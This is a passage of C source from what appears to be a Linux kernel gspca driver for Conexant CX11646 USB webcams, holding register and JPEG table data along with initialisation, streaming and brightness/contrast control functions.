0x00, 0x00, 0x00, 0x00 }; static const __u8 cx_inits_352[] = { 0x2e, 0x7c, 0x60, 0x01, 0x20, 0x01, 0x05, 0x03, 0x00, 0x06, 0x03, 0x06, 0x1b, 0x10, 0x05, 0x3b, 0x30, 0x25, 0x18, 0x25, 0x08, 0x30, 0x03, 0x25, 0x3b, 0x30, 0x25, 0x1b, 0x10, 0x05, 0x00, 0x00, 0xe3, 0xff, 0xf1, 0xff, 0xc2, 0xff, 0xbc, 0xff, 0xf5, 0xff, 0x6b, 0xff, 0xee, 0x01, 0x43, 0x02, 0xe4, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; static const __u8 cx_inits_640[] = { 0x7e, 0x7e, 0x80, 0x02, 0xe0, 0x01, 0x01, 0x01, 0x00, 0x02, 0x01, 0x02, 0x10, 0x30, 0x01, 0x01, 0x65, 0x45, 0xf7, 0x52, 0x2c, 0xdf, 0xb9, 0x81, 0x30, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0xe2, 0xff, 0xf1, 0xff, 0xc2, 0xff, 0xbc, 0xff, 0xf6, 0xff, 0x7b, 0xff, 0x01, 0x02, 0x43, 0x02, 0x77, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; static void cx11646_initsize(struct gspca_dev *gspca_dev) { const __u8 *cxinit; static const __u8 reg12[] = { 0x08, 0x05, 0x07, 0x04, 0x24 }; static const __u8 reg17[] = { 0x0a, 0x00, 0xf2, 0x01, 0x0f, 0x00, 0x97, 0x02 }; switch (gspca_dev->cam.cam_mode[(int) gspca_dev->curr_mode].priv) { case 0: cxinit = cx_inits_640; break; case 1: cxinit = cx_inits_352; break; default: /* case 2: */ cxinit = cx_inits_320; break; case 3: cxinit = cx_inits_176; break; } reg_w_val(gspca_dev, 0x009a, 0x01); reg_w_val(gspca_dev, 0x0010, 0x10); reg_w(gspca_dev, 0x0012, reg12, 5); reg_w(gspca_dev, 0x0017, reg17, 8); reg_w_val(gspca_dev, 0x00c0, 0x00); reg_w_val(gspca_dev, 0x00c1, 0x04); reg_w_val(gspca_dev, 0x00c2, 0x04); reg_w(gspca_dev, 0x0061, cxinit, 8); cxinit += 8; reg_w(gspca_dev, 0x00ca, cxinit, 8); cxinit += 8; reg_w(gspca_dev, 0x00d2, cxinit, 8); cxinit += 8; reg_w(gspca_dev, 0x00da, cxinit, 6); cxinit += 8; reg_w(gspca_dev, 0x0041, cxinit, 8); cxinit += 8; reg_w(gspca_dev, 0x0049, cxinit, 8); cxinit += 8; reg_w(gspca_dev, 0x0051, cxinit, 2); reg_r(gspca_dev, 0x0010, 1); } static const __u8 cx_jpeg_init[][8] = { {0xff, 0xd8, 0xff, 0xdb, 0x00, 0x84, 0x00, 0x15}, /* 1 */ {0x0f, 0x10, 0x12, 0x10, 0x0d, 0x15, 0x12, 0x11}, {0x12, 0x18, 0x16, 0x15, 0x19, 0x20, 0x35, 0x22}, {0x20, 0x1d, 0x1d, 0x20, 0x41, 0x2e, 0x31, 0x26}, {0x35, 0x4d, 0x43, 0x51, 0x4f, 0x4b, 0x43, 0x4a}, {0x49, 0x55, 0x5F, 0x79, 0x67, 0x55, 0x5A, 0x73}, {0x5B, 0x49, 0x4A, 0x6A, 0x90, 0x6B, 0x73, 0x7D}, {0x81, 0x88, 0x89, 0x88, 0x52, 0x66, 0x95, 0xA0}, {0x94, 0x84, 0x9E, 0x79, 0x85, 0x88, 0x83, 0x01}, {0x15, 0x0F, 0x10, 0x12, 0x10, 0x0D, 0x15, 0x12}, {0x11, 0x12, 0x18, 0x16, 0x15, 0x19, 0x20, 0x35}, {0x22, 0x20, 0x1D, 0x1D, 0x20, 0x41, 0x2E, 0x31}, {0x26, 0x35, 0x4D, 0x43, 0x51, 0x4F, 0x4B, 0x43}, {0x4A, 0x49, 0x55, 0x5F, 0x79, 0x67, 0x55, 0x5A}, {0x73, 0x5B, 0x49, 0x4A, 0x6A, 0x90, 0x6B, 0x73}, {0x7D, 0x81, 0x88, 0x89, 0x88, 0x52, 0x66, 0x95}, {0xA0, 0x94, 0x84, 0x9E, 0x79, 0x85, 0x88, 0x83}, {0xFF, 0xC4, 0x01, 0xA2, 0x00, 0x00, 0x01, 0x05}, {0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00}, {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x02}, {0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A}, {0x0B, 0x01, 0x00, 0x03, 0x01, 0x01, 0x01, 0x01}, {0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00}, {0x00, 0x00, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05}, {0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x10, 0x00}, {0x02, 0x01, 0x03, 0x03, 0x02, 0x04, 0x03, 0x05}, {0x05, 0x04, 0x04, 0x00, 0x00, 0x01, 0x7D, 0x01}, {0x02, 0x03, 0x00, 0x04, 0x11, 0x05, 0x12, 0x21}, {0x31, 0x41, 0x06, 0x13, 0x51, 0x61, 0x07, 0x22}, {0x71, 0x14, 0x32, 0x81, 0x91, 0xA1, 0x08, 0x23}, {0x42, 0xB1, 0xC1, 0x15, 0x52, 0xD1, 0xF0, 0x24}, {0x33, 0x62, 0x72, 0x82, 0x09, 0x0A, 0x16, 0x17}, {0x18, 0x19, 0x1A, 0x25, 0x26, 0x27, 0x28, 0x29}, {0x2A, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A}, {0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4A}, {0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5A}, {0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6A}, {0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7A}, {0x83, 0x84, 0x85, 0x86, 0x87, 0x88, 0x89, 0x8A}, {0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98, 0x99}, {0x9A, 0xA2, 0xA3, 0xA4, 0xA5, 0xA6, 0xA7, 0xA8}, {0xA9, 0xAA, 0xB2, 0xB3, 0xB4, 0xB5, 0xB6, 0xB7}, {0xB8, 0xB9, 0xBA, 0xC2, 0xC3, 0xC4, 0xC5, 0xC6}, {0xC7, 0xC8, 0xC9, 0xCA, 0xD2, 0xD3, 0xD4, 0xD5}, {0xD6, 0xD7, 0xD8, 0xD9, 0xDA, 0xE1, 0xE2, 0xE3}, {0xE4, 0xE5, 0xE6, 0xE7, 0xE8, 0xE9, 0xEA, 0xF1}, {0xF2, 0xF3, 0xF4, 0xF5, 0xF6, 0xF7, 0xF8, 0xF9}, {0xFA, 0x11, 0x00, 0x02, 0x01, 0x02, 0x04, 0x04}, {0x03, 0x04, 0x07, 0x05, 0x04, 0x04, 0x00, 0x01}, {0x02, 0x77, 0x00, 0x01, 0x02, 0x03, 0x11, 0x04}, {0x05, 0x21, 0x31, 0x06, 0x12, 0x41, 0x51, 0x07}, {0x61, 0x71, 0x13, 0x22, 0x32, 0x81, 0x08, 0x14}, {0x42, 0x91, 0xA1, 0xB1, 0xC1, 0x09, 0x23, 0x33}, {0x52, 0xF0, 0x15, 0x62, 0x72, 0xD1, 0x0A, 0x16}, {0x24, 0x34, 0xE1, 0x25, 0xF1, 0x17, 0x18, 0x19}, {0x1A, 0x26, 0x27, 0x28, 0x29, 0x2A, 0x35, 0x36}, {0x37, 0x38, 0x39, 0x3A, 0x43, 0x44, 0x45, 0x46}, {0x47, 0x48, 0x49, 0x4A, 0x53, 0x54, 0x55, 0x56}, {0x57, 0x58, 0x59, 0x5A, 0x63, 0x64, 0x65, 0x66}, {0x67, 0x68, 0x69, 0x6A, 0x73, 0x74, 0x75, 0x76}, {0x77, 0x78, 0x79, 0x7A, 0x82, 0x83, 0x84, 0x85}, {0x86, 0x87, 0x88, 0x89, 0x8A, 0x92, 0x93, 0x94}, {0x95, 0x96, 0x97, 0x98, 0x99, 0x9A, 0xA2, 0xA3}, {0xA4, 0xA5, 0xA6, 0xA7, 0xA8, 0xA9, 0xAA, 0xB2}, {0xB3, 0xB4, 0xB5, 0xB6, 0xB7, 0xB8, 0xB9, 0xBA}, {0xC2, 0xC3, 0xC4, 0xC5, 0xC6, 0xC7, 0xC8, 0xC9}, {0xCA, 0xD2, 0xD3, 0xD4, 0xD5, 0xD6, 0xD7, 0xD8}, {0xD9, 0xDA, 0xE2, 0xE3, 0xE4, 0xE5, 0xE6, 0xE7}, {0xE8, 0xE9, 0xEA, 0xF2, 0xF3, 0xF4, 0xF5, 0xF6}, {0xF7, 0xF8, 0xF9, 0xFA, 0xFF, 0x20, 0x00, 0x1F}, {0x02, 0x0C, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00}, {0x00, 0x00, 0x11, 0x00, 0x11, 0x22, 0x00, 0x22}, {0x22, 0x11, 0x22, 0x22, 0x11, 0x33, 0x33, 0x11}, {0x44, 0x66, 0x22, 0x55, 0x66, 0xFF, 0xDD, 0x00}, {0x04, 0x00, 0x14, 0xFF, 0xC0, 0x00, 0x11, 0x08}, {0x00, 0xF0, 0x01, 0x40, 0x03, 0x00, 0x21, 0x00}, {0x01, 0x11, 0x01, 0x02, 0x11, 0x01, 0xFF, 0xDA}, {0x00, 0x0C, 0x03, 0x00, 0x00, 0x01, 0x11, 0x02}, {0x11, 0x00, 0x3F, 0x00, 0xFF, 0xD9, 0x00, 0x00} /* 79 */ }; static const __u8 cxjpeg_640[][8] = { {0xff, 0xd8, 0xff, 0xdb, 0x00, 0x84, 0x00, 0x10}, /* 1 */ {0x0b, 0x0c, 0x0e, 0x0c, 0x0a, 0x10, 0x0e, 0x0d}, {0x0e, 0x12, 0x11, 0x10, 0x13, 0x18, 0x28, 0x1a}, {0x18, 0x16, 0x16, 0x18, 0x31, 0x23, 0x25, 0x1d}, {0x28, 0x3a, 0x33, 0x3D, 0x3C, 0x39, 0x33, 0x38}, {0x37, 0x40, 0x48, 0x5C, 0x4E, 0x40, 0x44, 0x57}, {0x45, 0x37, 0x38, 0x50, 0x6D, 0x51, 0x57, 0x5F}, {0x62, 0x67, 0x68, 0x67, 0x3E, 0x4D, 0x71, 0x79}, {0x70, 0x64, 0x78, 0x5C, 0x65, 0x67, 0x63, 0x01}, {0x10, 0x0B, 0x0C, 0x0E, 0x0C, 0x0A, 0x10, 0x0E}, {0x0D, 0x0E, 0x12, 0x11, 0x10, 0x13, 0x18, 0x28}, {0x1A, 0x18, 0x16, 0x16, 0x18, 0x31, 0x23, 0x25}, {0x1D, 0x28, 0x3A, 0x33, 0x3D, 0x3C, 0x39, 0x33}, {0x38, 0x37, 0x40, 0x48, 0x5C, 0x4E, 0x40, 0x44}, {0x57, 0x45, 0x37, 0x38, 0x50, 0x6D, 0x51, 0x57}, {0x5F, 0x62, 0x67, 0x68, 0x67, 0x3E, 0x4D, 0x71}, {0x79, 0x70, 0x64, 0x78, 0x5C, 0x65, 0x67, 0x63}, {0xFF, 0x20, 0x00, 0x1F, 0x00, 0x83, 0x00, 0x00}, {0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00}, {0x11, 0x22, 0x00, 0x22, 0x22, 0x11, 0x22, 0x22}, {0x11, 0x33, 0x33, 0x11, 0x44, 0x66, 0x22, 0x55}, {0x66, 0xFF, 0xDD, 0x00, 0x04, 0x00, 0x28, 0xFF}, {0xC0, 0x00, 0x11, 0x08, 0x01, 0xE0, 0x02, 0x80}, {0x03, 0x00, 0x21, 0x00, 0x01, 0x11, 0x01, 0x02}, {0x11, 0x01, 0xFF, 0xDA, 0x00, 0x0C, 0x03, 0x00}, {0x00, 0x01, 0x11, 0x02, 0x11, 0x00, 0x3F, 0x00}, {0xFF, 0xD9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} /* 27 */ }; static const __u8 cxjpeg_352[][8] = { {0xff, 0xd8, 0xff, 0xdb, 0x00, 0x84, 0x00, 0x0d}, {0x09, 0x09, 0x0b, 0x09, 0x08, 0x0D, 0x0b, 0x0a}, {0x0b, 0x0e, 0x0d, 0x0d, 0x0f, 0x13, 0x1f, 0x14}, {0x13, 0x11, 0x11, 0x13, 0x26, 0x1b, 0x1d, 0x17}, {0x1F, 0x2D, 0x28, 0x30, 0x2F, 0x2D, 0x28, 0x2C}, {0x2B, 0x32, 0x38, 0x48, 0x3D, 0x32, 0x35, 0x44}, {0x36, 0x2B, 0x2C, 0x3F, 0x55, 0x3F, 0x44, 0x4A}, {0x4D, 0x50, 0x51, 0x50, 0x30, 0x3C, 0x58, 0x5F}, {0x58, 0x4E, 0x5E, 0x48, 0x4F, 0x50, 0x4D, 0x01}, {0x0D, 0x09, 0x09, 0x0B, 0x09, 0x08, 0x0D, 0x0B}, {0x0A, 0x0B, 0x0E, 0x0D, 0x0D, 0x0F, 0x13, 0x1F}, {0x14, 0x13, 0x11, 0x11, 0x13, 0x26, 0x1B, 0x1D}, {0x17, 0x1F, 0x2D, 0x28, 0x30, 0x2F, 0x2D, 0x28}, {0x2C, 0x2B, 0x32, 0x38, 0x48, 0x3D, 0x32, 0x35}, {0x44, 0x36, 0x2B, 0x2C, 0x3F, 0x55, 0x3F, 0x44}, {0x4A, 0x4D, 0x50, 0x51, 0x50, 0x30, 0x3C, 0x58}, {0x5F, 0x58, 0x4E, 0x5E, 0x48, 0x4F, 0x50, 0x4D}, {0xFF, 0x20, 0x00, 0x1F, 0x01, 0x83, 0x00, 0x00}, {0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00}, {0x11, 0x22, 0x00, 0x22, 0x22, 0x11, 0x22, 0x22}, {0x11, 0x33, 0x33, 0x11, 0x44, 0x66, 0x22, 0x55}, {0x66, 0xFF, 0xDD, 0x00, 0x04, 0x00, 0x16, 0xFF}, {0xC0, 0x00, 0x11, 0x08, 0x01, 0x20, 0x01, 0x60}, {0x03, 0x00, 0x21, 0x00, 0x01, 0x11, 0x01, 0x02}, {0x11, 0x01, 0xFF, 0xDA, 0x00, 0x0C, 0x03, 0x00}, {0x00, 0x01, 0x11, 0x02, 0x11, 0x00, 0x3F, 0x00}, {0xFF, 0xD9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} }; static const __u8 cxjpeg_320[][8] = { {0xff, 0xd8, 0xff, 0xdb, 0x00, 0x84, 0x00, 0x05}, {0x03, 0x04, 0x04, 0x04, 0x03, 0x05, 0x04, 0x04}, {0x04, 0x05, 0x05, 0x05, 0x06, 0x07, 0x0c, 0x08}, {0x07, 0x07, 0x07, 0x07, 0x0f, 0x0b, 0x0b, 0x09}, {0x0C, 0x11, 0x0F, 0x12, 0x12, 0x11, 0x0f, 0x11}, {0x11, 0x13, 0x16, 0x1C, 0x17, 0x13, 0x14, 0x1A}, {0x15, 0x11, 0x11, 0x18, 0x21, 0x18, 0x1A, 0x1D}, {0x1D, 0x1F, 0x1F, 0x1F, 0x13, 0x17, 0x22, 0x24}, {0x22, 0x1E, 0x24, 0x1C, 0x1E, 0x1F, 0x1E, 0x01}, {0x05, 0x03, 0x04, 0x04, 0x04, 0x03, 0x05, 0x04}, {0x04, 0x04, 0x05, 0x05, 0x05, 0x06, 0x07, 0x0C}, {0x08, 0x07, 0x07, 0x07, 0x07, 0x0F, 0x0B, 0x0B}, {0x09, 0x0C, 0x11, 0x0F, 0x12, 0x12, 0x11, 0x0F}, {0x11, 0x11, 0x13, 0x16, 0x1C, 0x17, 0x13, 0x14}, {0x1A, 0x15, 0x11, 0x11, 0x18, 0x21, 0x18, 0x1A}, {0x1D, 0x1D, 0x1F, 0x1F, 0x1F, 0x13, 0x17, 0x22}, {0x24, 0x22, 0x1E, 0x24, 0x1C, 0x1E, 0x1F, 0x1E}, {0xFF, 0x20, 0x00, 0x1F, 0x02, 0x0C, 0x00, 0x00}, {0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00}, {0x11, 0x22, 0x00, 0x22, 0x22, 0x11, 0x22, 0x22}, {0x11, 0x33, 0x33, 0x11, 0x44, 0x66, 0x22, 0x55}, {0x66, 0xFF, 0xDD, 0x00, 0x04, 0x00, 0x14, 0xFF}, {0xC0, 0x00, 0x11, 0x08, 0x00, 0xF0, 0x01, 0x40}, {0x03, 0x00, 0x21, 0x00, 0x01, 0x11, 0x01, 0x02}, {0x11, 0x01, 0xFF, 0xDA, 0x00, 0x0C, 0x03, 0x00}, {0x00, 0x01, 0x11, 0x02, 0x11, 0x00, 0x3F, 0x00}, {0xFF, 0xD9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} /* 27 */ }; static const __u8 cxjpeg_176[][8] = { {0xff, 0xd8, 0xff, 0xdb, 0x00, 0x84, 0x00, 0x0d}, {0x09, 0x09, 0x0B, 0x09, 0x08, 0x0D, 0x0B, 0x0A}, {0x0B, 0x0E, 0x0D, 0x0D, 0x0F, 0x13, 0x1F, 0x14}, {0x13, 0x11, 0x11, 0x13, 0x26, 0x1B, 0x1D, 0x17}, {0x1F, 0x2D, 0x28, 0x30, 0x2F, 0x2D, 0x28, 0x2C}, {0x2B, 0x32, 0x38, 0x48, 0x3D, 0x32, 0x35, 0x44}, {0x36, 0x2B, 0x2C, 0x3F, 0x55, 0x3F, 0x44, 0x4A}, {0x4D, 0x50, 0x51, 0x50, 0x30, 0x3C, 0x58, 0x5F}, {0x58, 0x4E, 0x5E, 0x48, 0x4F, 0x50, 0x4D, 0x01}, {0x0D, 0x09, 0x09, 0x0B, 0x09, 0x08, 0x0D, 0x0B}, {0x0A, 0x0B, 0x0E, 0x0D, 0x0D, 0x0F, 0x13, 0x1F}, {0x14, 0x13, 0x11, 0x11, 0x13, 0x26, 0x1B, 0x1D}, {0x17, 0x1F, 0x2D, 0x28, 0x30, 0x2F, 0x2D, 0x28}, {0x2C, 0x2B, 0x32, 0x38, 0x48, 0x3D, 0x32, 0x35}, {0x44, 0x36, 0x2B, 0x2C, 0x3F, 0x55, 0x3F, 0x44}, {0x4A, 0x4D, 0x50, 0x51, 0x50, 0x30, 0x3C, 0x58}, {0x5F, 0x58, 0x4E, 0x5E, 0x48, 0x4F, 0x50, 0x4D}, {0xFF, 0x20, 0x00, 0x1F, 0x03, 0xA1, 0x00, 0x00}, {0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00}, {0x11, 0x22, 0x00, 0x22, 0x22, 0x11, 0x22, 0x22}, {0x11, 0x33, 0x33, 0x11, 0x44, 0x66, 0x22, 0x55}, {0x66, 0xFF, 0xDD, 0x00, 0x04, 0x00, 0x0B, 0xFF}, {0xC0, 0x00, 0x11, 0x08, 0x00, 0x90, 0x00, 0xB0}, {0x03, 0x00, 0x21, 0x00, 0x01, 0x11, 0x01, 0x02}, {0x11, 0x01, 0xFF, 0xDA, 0x00, 0x0C, 0x03, 0x00}, {0x00, 0x01, 0x11, 0x02, 0x11, 0x00, 0x3F, 0x00}, {0xFF, 0xD9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} }; /* 640 take with the zcx30x part */ static const __u8 cxjpeg_qtable[][8] = { {0xff, 0xd8, 0xff, 0xdb, 0x00, 0x84, 0x00, 0x08}, {0x06, 0x06, 0x07, 0x06, 0x05, 0x08, 0x07, 0x07}, {0x07, 0x09, 0x09, 0x08, 0x0a, 0x0c, 0x14, 0x0a}, {0x0c, 0x0b, 0x0b, 0x0c, 0x19, 0x12, 0x13, 0x0f}, {0x14, 0x1d, 0x1a, 0x1f, 0x1e, 0x1d, 0x1a, 0x1c}, {0x1c, 0x20, 0x24, 0x2e, 0x27, 0x20, 0x22, 0x2c}, {0x23, 0x1c, 0x1c, 0x28, 0x37, 0x29, 0x2c, 0x30}, {0x31, 0x34, 0x34, 0x34, 0x1f, 0x27, 0x39, 0x3d}, {0x38, 0x32, 0x3c, 0x2e, 0x33, 0x34, 0x32, 0x01}, {0x09, 0x09, 0x09, 0x0c, 0x0b, 0x0c, 0x18, 0x0a}, {0x0a, 0x18, 0x32, 0x21, 0x1c, 0x21, 0x32, 0x32}, {0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32}, {0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32}, {0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32}, {0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32}, {0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32}, {0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32}, {0xFF, 0xD9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} /* 18 */ }; static void cx11646_jpegInit(struct gspca_dev*gspca_dev) { int i; int length; reg_w_val(gspca_dev, 0x00c0, 0x01); reg_w_val(gspca_dev, 0x00c3, 0x00); reg_w_val(gspca_dev, 0x00c0, 0x00); reg_r(gspca_dev, 0x0001, 1); length = 8; for (i = 0; i < 79; i++) { if (i == 78) length = 6; reg_w(gspca_dev, 0x0008, cx_jpeg_init[i], length); } reg_r(gspca_dev, 0x0002, 1); reg_w_val(gspca_dev, 0x0055, 0x14); } static const __u8 reg12[] = { 0x0a, 0x05, 0x07, 0x04, 0x19 }; static const __u8 regE5_8[] = { 0x88, 0x00, 0xd4, 0x01, 0x88, 0x01, 0x01, 0x01 }; static const __u8 regE5a[] = { 0x88, 0x0a, 0x0c, 0x01 }; static const __u8 regE5b[] = { 0x88, 0x0b, 0x12, 0x01 }; static const __u8 regE5c[] = { 0x88, 0x05, 0x01, 0x01 }; static const __u8 reg51[] = { 0x77, 0x03 }; #define reg70 0x03 static void cx11646_jpeg(struct gspca_dev*gspca_dev) { int i; int length; __u8 Reg55; int retry; reg_w_val(gspca_dev, 0x00c0, 0x01); reg_w_val(gspca_dev, 0x00c3, 0x00); reg_w_val(gspca_dev, 0x00c0, 0x00); reg_r(gspca_dev, 0x0001, 1); length = 8; switch (gspca_dev->cam.cam_mode[gspca_dev->curr_mode].priv) { case 0: for (i = 0; i < 27; i++) { if (i == 26) length = 2; reg_w(gspca_dev, 0x0008, cxjpeg_640[i], length); } Reg55 = 0x28; break; case 1: for (i = 0; i < 27; i++) { if (i == 26) length = 2; reg_w(gspca_dev, 0x0008, cxjpeg_352[i], length); } Reg55 = 0x16; break; default: /* case 2: */ for (i = 0; i < 27; i++) { if (i == 26) length = 2; reg_w(gspca_dev, 0x0008, cxjpeg_320[i], length); } Reg55 = 0x14; break; case 3: for (i = 0; i < 27; i++) { if (i == 26) length = 2; reg_w(gspca_dev, 0x0008, cxjpeg_176[i], length); } Reg55 = 0x0B; break; } reg_r(gspca_dev, 0x0002, 1); reg_w_val(gspca_dev, 0x0055, Reg55); reg_r(gspca_dev, 0x0002, 1); reg_w(gspca_dev, 0x0010, reg10, 2); reg_w_val(gspca_dev, 0x0054, 0x02); reg_w_val(gspca_dev, 0x0054, 0x01); reg_w_val(gspca_dev, 0x0000, 0x94); reg_w_val(gspca_dev, 0x0053, 0xc0); reg_w_val(gspca_dev, 0x00fc, 0xe1); reg_w_val(gspca_dev, 0x0000, 0x00); /* wait for completion */ retry = 50; do { reg_r(gspca_dev, 0x0002, 1); /* 0x07 until 0x00 */ if (gspca_dev->usb_buf[0] == 0x00) break; reg_w_val(gspca_dev, 0x0053, 0x00); } while (--retry); if (retry == 0) PDEBUG(D_ERR, "Damned Errors sending jpeg Table"); /* send the qtable now */ reg_r(gspca_dev, 0x0001, 1); /* -> 0x18 */ length = 8; for (i = 0; i < 18; i++) { if (i == 17) length = 2; reg_w(gspca_dev, 0x0008, cxjpeg_qtable[i], length); } reg_r(gspca_dev, 0x0002, 1); /* 0x00 */ reg_r(gspca_dev, 0x0053, 1); /* 0x00 */ reg_w_val(gspca_dev, 0x0054, 0x02); reg_w_val(gspca_dev, 0x0054, 0x01); reg_w_val(gspca_dev, 0x0000, 0x94); reg_w_val(gspca_dev, 0x0053, 0xc0); reg_r(gspca_dev, 0x0038, 1); /* 0x40 */ reg_r(gspca_dev, 0x0038, 1); /* 0x40 */ reg_r(gspca_dev, 0x001f, 1); /* 0x38 */ reg_w(gspca_dev, 0x0012, reg12, 5); reg_w(gspca_dev, 0x00e5, regE5_8, 8); reg_r(gspca_dev, 0x00e8, 8); reg_w(gspca_dev, 0x00e5, regE5a, 4); reg_r(gspca_dev, 0x00e8, 1); /* 0x00 */ reg_w_val(gspca_dev, 0x009a, 0x01); reg_w(gspca_dev, 0x00e5, regE5b, 4); reg_r(gspca_dev, 0x00e8, 1); /* 0x00 */ reg_w(gspca_dev, 0x00e5, regE5c, 4); reg_r(gspca_dev, 0x00e8, 1); /* 0x00 */ reg_w(gspca_dev, 0x0051, reg51, 2); reg_w(gspca_dev, 0x0010, reg10, 2); reg_w_val(gspca_dev, 0x0070, reg70); } static void cx11646_init1(struct gspca_dev *gspca_dev) { int i = 0; reg_w_val(gspca_dev, 0x0010, 0x00); reg_w_val(gspca_dev, 0x0053, 0x00); reg_w_val(gspca_dev, 0x0052, 0x00); reg_w_val(gspca_dev, 0x009b, 0x2f); reg_w_val(gspca_dev, 0x009c, 0x10); reg_r(gspca_dev, 0x0098, 1); reg_w_val(gspca_dev, 0x0098, 0x40); reg_r(gspca_dev, 0x0099, 1); reg_w_val(gspca_dev, 0x0099, 0x07); reg_w_val(gspca_dev, 0x0039, 0x40); reg_w_val(gspca_dev, 0x003c, 0xff); reg_w_val(gspca_dev, 0x003f, 0x1f); reg_w_val(gspca_dev, 0x003d, 0x40); /* reg_w_val(gspca_dev, 0x003d, 0x60); */ reg_r(gspca_dev, 0x0099, 1); /* ->0x07 */ while (cx_sensor_init[i][0]) { reg_w_val(gspca_dev, 0x00e5, cx_sensor_init[i][0]); reg_r(gspca_dev, 0x00e8, 1); /* -> 0x00 */ if (i == 1) { reg_w_val(gspca_dev, 0x00ed, 0x01); reg_r(gspca_dev, 0x00ed, 1); /* -> 0x01 */ } i++; } reg_w_val(gspca_dev, 0x00c3, 0x00); } /* this function is called at probe time */ static int sd_config(struct gspca_dev *gspca_dev, const struct usb_device_id *id) { struct sd *sd = (struct sd *) gspca_dev; struct cam *cam; cam = &gspca_dev->cam; cam->cam_mode = vga_mode; cam->nmodes = ARRAY_SIZE(vga_mode); sd->brightness = BRIGHTNESS_DEF; sd->contrast = CONTRAST_DEF; sd->colors = COLOR_DEF; sd->quality = QUALITY_DEF; return 0; } /* this function is called at probe and resume time */ static int sd_init(struct gspca_dev *gspca_dev) { cx11646_init1(gspca_dev); cx11646_initsize(gspca_dev); cx11646_fw(gspca_dev); cx_sensor(gspca_dev); cx11646_jpegInit(gspca_dev); return 0; } static int sd_start(struct gspca_dev *gspca_dev) { struct sd *sd = (struct sd *) gspca_dev; /* create the JPEG header */ jpeg_define(sd->jpeg_hdr, gspca_dev->height, gspca_dev->width, 0x22); /* JPEG 411 */ jpeg_set_qual(sd->jpeg_hdr, sd->quality); cx11646_initsize(gspca_dev); cx11646_fw(gspca_dev); cx_sensor(gspca_dev); cx11646_jpeg(gspca_dev); return 0; } /* called on streamoff with alt 0 and on disconnect */ static void sd_stop0(struct gspca_dev *gspca_dev) { int retry = 50; if (!gspca_dev->present) return; reg_w_val(gspca_dev, 0x0000, 0x00); reg_r(gspca_dev, 0x0002, 1); reg_w_val(gspca_dev, 0x0053, 0x00); while (retry--) { /* reg_r(gspca_dev, 0x0002, 1);*/ reg_r(gspca_dev, 0x0053, 1); if (gspca_dev->usb_buf[0] == 0) break; } reg_w_val(gspca_dev, 0x0000, 0x00); reg_r(gspca_dev, 0x0002, 1); reg_w_val(gspca_dev, 0x0010, 0x00); reg_r(gspca_dev, 0x0033, 1); reg_w_val(gspca_dev, 0x00fc, 0xe0); } static void sd_pkt_scan(struct gspca_dev *gspca_dev, u8 *data, /* isoc packet */ int len) /* iso packet length */ { struct sd *sd = (struct sd *) gspca_dev; if (data[0] == 0xff && data[1] == 0xd8) { /* start of frame */ gspca_frame_add(gspca_dev, LAST_PACKET, NULL, 0); /* put the JPEG header in the new frame */ gspca_frame_add(gspca_dev, FIRST_PACKET, sd->jpeg_hdr, JPEG_HDR_SZ); data += 2; len -= 2; } gspca_frame_add(gspca_dev, INTER_PACKET, data, len); } static void setbrightness(struct gspca_dev *gspca_dev) { struct sd *sd = (struct sd *) gspca_dev; __u8 regE5cbx[] = { 0x88, 0x00, 0xd4, 0x01, 0x88, 0x01, 0x01, 0x01 }; __u8 reg51c[2]; __u8 bright; __u8 colors; bright = sd->brightness; regE5cbx[2] = bright; reg_w(gspca_dev, 0x00e5, regE5cbx, 8); reg_r(gspca_dev, 0x00e8, 8); reg_w(gspca_dev, 0x00e5, regE5c, 4); reg_r(gspca_dev, 0x00e8, 1); /* 0x00 */ colors = sd->colors; reg51c[0] = 0x77; reg51c[1] = colors; reg_w(gspca_dev, 0x0051, reg51c, 2); reg_w(gspca_dev, 0x0010, reg10, 2); reg_w_val(gspca_dev, 0x0070, reg70); } static void setcontrast(struct gspca_dev *gspca_dev) { struct sd *sd = (struct sd *) gspca_dev; __u8 regE5acx[] = { 0x88, 0x0a, 0x0c, 0x01 }; /* seem MSB */ /* __u8 regE5bcx[] = { 0x88, 0x0b, 0x12, 0x01}; * LSB */ __u8 reg51c[2]; regE5acx[2] = sd->contrast; reg_w(gspca_dev, 0x00e5, regE5acx, 4); reg_r(gspca_dev, 0x00e8, 1); /* 0x00 */ reg51c[0] = 0x77; reg51c[1] = sd->colors; reg_w(gspca_dev, 0x0051, reg51c, 2); reg_w(gspca_dev, 0x0010, reg10, 2); reg_w_val(gspca_dev, 0x0070, reg70); } static int sd_setbrightness(struct gspca_dev *gspca_dev, __s32 val) { struct sd *sd = 